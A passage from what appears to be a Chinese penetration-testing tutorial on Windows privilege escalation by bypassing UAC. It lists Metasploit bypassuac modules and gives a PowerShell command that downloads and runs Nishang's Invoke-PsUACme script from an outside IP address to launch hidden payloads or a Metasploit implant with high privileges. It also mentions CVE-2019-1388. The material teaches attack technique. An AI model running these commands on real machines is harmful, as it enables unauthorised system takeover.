如果有回显,代表当前是TrustedInstaller权限:
绕过UAC提权
UAC,即用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
使用 UAC,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。UAC 会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。
UAC如何运行?
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
Metasploit 下的绕过UAC提权
exploit/windows/local/ask # 弹出UAC确认窗口,然后诱使用户点击后获得system权限
exploit/windows/local/bypassuac # 此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC的第二个shell。
exploit/windows/local/bypassuac_injection # 此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_fodhelper # 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10的UAC。它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_eventvwr # 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_comhijack # 此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。
以上模块都是从meterpreter中设置好session执行完后,绕过UAC,获得一个关闭了UAC的第二个shell,再在这个关闭了UAC的第二个shell中执行getsystem
即可完成提权。
PowerShell下的绕过UAC提权
即利用Nishang中Escalation目录下的Invoke-PsUACme.ps1脚本。
下载地址:https://github.com/samratashok/nishang
执行如下命令:
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://39.101.219.210/nishang/Escalation/Invoke-PsUACme.ps1');Invoke-PsUACme -Verbose # 使用sysprep方法并执行默认的payload
Invoke-PsUACme -method oobe -verbose # 使用oobe方法并执行默认的payload
如下图,执行完后会弹出一个具有管理员权限的shell:
还可以使用 -Payload
参数自行指定要执行的Payload:
Invoke-PsUACme -method oobe -verbose -Payload "powershell -windowstyle hidden -e YourBase64EncodedPayload"
即可在绕过UAC后以高权限执行后面的powershell代码。
还可以使用-PayloadPath
参数自行指定要执行的Payload的路径:
Invoke-PsUACme -method oobe -verbose -PayloadPath <路径>
我们可以利用这个来在绕过UAC后以高权限执行后面的msf马,以获得管理员权限的meterpreter。
除了以上那些绕过UAC的方法外,我们还可以利用CVE-2019-1388等漏洞来绕过,该漏洞位于Windows的UAC机制中。默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desktop。这些提示是由名为consent.exe的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System。因为用户可以与该UI交互,因此对UI来说紧限制是必须的。否则,低权限的用户可能可以通过UI操作的循环路由以SYSTEM权限执行操作。即使隔离状态的看似无害的UI特征都可能会成为引发任意控制的动作链的第一步。事实上,UAC会话中含有尽可能少的点击操作选项。利用该漏洞很容易就可以提升权限到SYSTEM。
详情请见:
https://blog.csdn.net/sun1318578251/article/details/103325724
https://mp.weixin.qq.com/s/mQqCuH6xOvYJC8-C0aRe4w
Ending…
在本节中,我们将继续对windows系统错误配置漏洞提权中的注册表键AlwaysInstallElevated提权、组策略提权、令牌窃取等进行详细的讲解,此外,还可以利用LLMNR和NetBIOS欺骗获取Net-NTLM Hash来获取权限,详情请阅读我的文章《内网渗透研究:LLMNR和NetBIOS欺骗攻击分析》。本文内容比较基础,讲的比较详细,适合像我一样的小白来学习。
笔者初来乍到,必有很多不足之处,还请各位前辈多多指教,小生还需多多向各位前辈学习。
转载自我的Freebuf:https://www.freebuf.com/articles/network/250827.html
参考:
https://www.freebuf.com/articles/system/131388.html
https://www.freebuf.com/articles/system/184289.html
https://www.freebuf.com/vuls/87463.html
https://www.anquanke.com/post/id/84855
https://blog.csdn.net/qq_36119192/article/details/104280692
https://www.cnblogs.com/zpchcbd/p/11943147.html
https://3gstudent.github.io/3gstudent.github.io/
https://www.cnblogs.com/-mo-/p/12718115.html
https://blog.csdn.net/qq_36119192/article/details/103965659
https://www.cnblogs.com/backlion/p/10552137.html
https://blog.csdn.net/qq_36119192/article/details/104344105